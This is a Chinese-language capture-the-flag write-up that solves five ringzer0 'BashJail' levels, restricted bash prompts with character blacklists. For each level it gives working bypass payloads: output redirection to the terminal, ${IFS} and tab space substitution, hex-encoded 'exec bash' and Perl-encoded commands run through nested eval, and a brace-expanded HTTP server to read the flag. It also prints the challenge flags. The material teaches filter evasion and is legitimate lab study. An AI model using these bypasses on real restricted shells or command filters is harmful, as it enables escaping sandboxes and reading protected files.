最近打了ringzer0 CTF BashJail挑战,题目非常有趣考察bash的特性以及绕过奇淫技巧,下面是对BashJail的多解分析
Bash jail1
jail源码如下
Challenge bash code:
-----------------------------
while :
do
echo "Your input:"
read input
output=`$input`
done
-----------------------------
Your input:
该脚本获取我们的输入,并使用 反引号 执行它。唯一的问题是我们
看不到输出。
方法一
linux文件描述符重定向
0 : 表示stdin标准输入
1 : 表示stdout标准输出
2 : 表示stderr标准错误
| >&:将联合符号前面的内容与后面相结合,然后一起重定向给后者。
cat /home/level1/flag.txt 1>&2
通过将标准错误流重定向到标准输出,仍可以回显
FLAG-U96l4k6m72a051GgE5EN0rA85499172K
方法二
payload
dd if=/home/level1/flag.txt of=/dev/tty
-
dd
命令:-
dd
是一个命令行工具,用于转换和复制文件。它的全称是“data duplicator”。
-
-
参数解释:
-
if=/home/level1/flag.txt
:-
if
表示“input file”,即输入文件。 -
/home/level1/flag.txt
是要读取的文件路径。
-
-
of=/dev/tty
:-
of
表示“output file”,即输出文件。 -
/dev/tty
是一个特殊设备文件,表示当前终端(通常用于交互式会话)。
-
-
-
执行效果:
- 这个命令会将
/home/level1/flag.txt
文件的内容读取出来,并输出到当前终端(标准输出)。
- 这个命令会将
Bash jail2
Challenge bash code:
-----------------------------
function check_space {
if [[ $1 == *[bdks';''&'' ']* ]]
then
return 0
fi
return 1
}
while :
do
echo "Your input:"
read input
if check_space "$input"
then
echo -e '\033[0;31mRestricted characters has been used\033[0m'
else
output="echo Your command is: $input"
eval $output
fi
done
-----------------------------cat/home/level2/flag.txt
-
$1
:表示传递给当前脚本或函数的第一个参数。例如,如果你调用check_space "some_string"
,那么$1
就是"some_string"
。 -
*
: 在 Bash 中,星号(*
)通常用作通配符,代表零个或多个字符。它在文件名模式匹配中非常有用,但在这种上下文中它的意义不明确。 -
[bdks';''&'' ']
: 方括号用于定义一个字符类(character class),通常用于模式匹配(例如ls [abc]*
匹配以a
、b
或c
开头的文件名)。在这个上下文中:
由于不允许使用 “;”, “&”、“]”、“b”、“d” 空格等字符,不能重定向了,此外这次使用的是eval
函数,并且使用了命令拼接
方法一
eval配合反引号命令动态执行,空格使用tab或者IFS绕过
`cat /home/level2/flag.txt`
`cat${IFS}/home/level2/flag.txt`
FLAG-a78i8TFD60z3825292rJ9JK12gIyVI5P
方法二
使用管道符号绕过拼接,命令执行
|cat<tab>/home/level2/flag.txt
方法三
在 Bash 脚本中,$()
是一种用于命令替换的语法。它允许你在一个命令中嵌入另一个命令的输出,这样你可以将一个命令的结果直接用作另一个命令的参数或赋值给变量。$()
形式是推荐的方式,因为它比传统的反引号 `
语法更具可读性,并且支持嵌套。
$(cat</home/level2/flag.txt)
Bash Jail3
Challenge bash code:
-----------------------------
WARNING: this prompt is launched using ./prompt.sh 2>/dev/null
# CHALLENGE
function check_space {
if [[ $1 == *[bdksc]* ]]
then
return 0
fi
return 1
}
while :
do
echo "Your input:"
read input
if check_space "$input"
then
echo -e '\033[0;31mRestricted characters has been used\033[0m'
else
output=`$input` &>/dev/null
echo "Command executed"
fi
done
这里的问题是 stderr 被重定向到:/dev/null
WARNING: this prompt is launched using ./prompt.sh 2>/dev/null
第二个问题是 stdout 和 stderr 也被重定向到:/dev/null
output=`$input` &>/dev/null
并且过滤了bdksc五个字母
方法一
使用eval动态执行命令来绕过字母限制
这将导致错误,因为 shell 无法执行flag.txt文件。所以他会报错利用重定向到标准输入来回显
eval $(</home/level3/flag.txt) 2>&0
FLAG-s9wXyc9WKx1X6N9G68fCR0M78sx09D3j
方法二
可以通过uniq来绕过查看
eval uniq flag.txt >&0
方法三
通过编码绕过执行exec bash
,然后就不受waf限制
注意:由于输入的时候是在终端,所以需要转义\
Your input:
printf \\x65\\x78\\x65\\x63\\x20\\x62\\x61\\x73\\x68\\x0a
Command executed
Your input:
eval $output
然后重定向输出到终端即可
cat flag.txt > $(tty)
FLAG-s9wXyc9WKx1X6N9G68fCR0M78sx09D3j
Bash Jail4
Challenge bash code:
-----------------------------
WARNING: this prompt is launched using ./prompt.sh 2>/dev/null
# CHALLENGE
function check_space {
if [[ $1 == *[bdksc'/''<''>''&''$']* ]]
then
return 0
fi
return 1
}
while :
do
echo "Your input:"
read input
if check_space "$input"
then
echo -e '\033[0;31mRestricted characters has been used\033[0m'
else
output=`$input < /dev/null` &>/dev/null
echo "Command executed"
fi
done
-----------------------------
输出被重定向到 /dev/null
,可以使用 Perl 来构造合法的命令。你可以利用 Perl 的 print
函数来输出包含被禁止字符的命令,并通过 eval
来执行它
通过嵌套两层eval来绕过/dev/null
eval eval `perl -e 'print "\\x63at \\x2fhome\\x2flevel4\\x2fflag.txt \\x3e \\x2f\\x64ev\\x2ftty"'`
FLAG-OTQKB0274fwtxk3v2rTLCd0l5v7KNp7F
Bash Jail5
WARNING: this prompt is launched using ./prompt.sh 2>/dev/null
# CHALLENGE
function check_space {
if [[ $1 == *[bdksctr'?''*''/''<''>''&''$']* ]]
then
return 0
fi
return 1
}
while :
do
echo "Your input:"
read input
if check_space "$input"
then
echo -e '\033[0;31mRestricted characters has been used\033[0m'
else
output=`$input < /dev/null` &>/dev/null
echo "Command executed"
fi
done
-----------------------------
很多字符都是不允许使用的。这使得挑战非常困难,因为重定向 (>,<,&) 也不再可能。因此,即使有人成功读取了文件,OUTPUT 也必须重定向到其他设备。但是也不允许使用斜杠 (/),因此很难指定输出
我们可以用通配符来绕过字母,在本机使用开启http服务
eval eval py{o..u}hon\\ -m\\ SimpleHTTPSe{q..v}ve{q..v}\\;
再使用level1 靶机读取本机端口文件即可绕过
level1@lxc17-bash-jail:~$ python3 1>&0
>>> import urllib.request
>>> urllib.request.urlopen("http://127.0.0.1:8000/flag.txt"). read()
>>> b'FLAG-OTQKB0274fwtxk3v2rTLCd0l5v7KNp7F\n'
>>> quConnection to ringzer0team.com closed